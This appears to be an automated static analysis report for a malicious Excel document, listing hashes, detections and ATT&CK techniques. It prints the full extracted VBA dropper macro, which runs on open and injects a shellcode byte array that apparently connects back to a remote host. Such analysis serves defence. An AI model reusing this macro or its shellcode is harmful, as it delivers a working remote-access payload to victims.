Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06e8d19f163638ae…

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-07-04 23:36:10 Authoring application: Microsoft Excel First seen: 2019-01-12
MD5: 64692ea805becdc0d3ee725ae5a0d1d6 SHA-1: 00fe7cc7e23ff129da13deebdad93526f14b5d71 SHA-256: 06e8d19f163638ae26f6e2ac7152a2e36a4b29a9eb951b858795b22ac3369bc9
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Office document containing VBA macros, specifically triggering AutoOpen and Workbook_Open events. The macros utilize Windows API functions like VirtualAlloc, CreateThread, and RtlMoveMemory, indicating the execution of shellcode. This shellcode is likely responsible for downloading and executing a secondary payload, a common technique for malware droppers.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Qbzxdyu As Long, Swmwdxxor As Variant, Ovso As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4290 bytes
SHA-256: 7b54d53c073d0b620311cdd64e8558ea5faa8894c1d78781dd500f5332c2fdb5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Xnws As Long, ByVal Tbb As Long, ByVal Rvjflil As LongPtr, Islriaj As Long, ByVal Xfg As Long, Apcxfnrqs As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Jbxelfuvz As Long, ByVal Lnuf As Long, ByVal Iyx As Long, ByVal Ddwor As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Pzvy As LongPtr, ByRef Lwsae As Any, ByVal Ynbmbeab As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Xnws As Long, ByVal Tbb As Long, ByVal Rvjflil As Long, Islriaj As Long, ByVal Xfg As Long, Apcxfnrqs As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Jbxelfuvz As Long, ByVal Lnuf As Long, ByVal Iyx As Long, ByVal Ddwor As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Pzvy As Long, ByRef Lwsae As Any, ByVal Ynbmbeab As Long) As Long
#End If

Sub Auto_Open()
    Dim Qbzxdyu As Long, Swmwdxxor As Variant, Ovso As Long
#If VBA7 Then
    Dim Shvim As LongPtr, Ghlx As LongPtr
#Else
    Dim Shvim As Long, Ghlx As Long
#End If
    Swmwdxxor = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 91, 134, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Shvim = VirtualAlloc(0, UBound(Swmwdxxor), &H1000, &H40)
    For Ovso = LBound(Swmwdxxor) To UBound(Swmwdxxor)
        Qbzxdyu = Swmwdxxor(Ovso)
        Ghlx = RtlMoveMemory(Shvim + Ovso, Qbzxdyu, 1)
    Next Ovso
    Ghlx = CreateThread(0, 0, Shvim, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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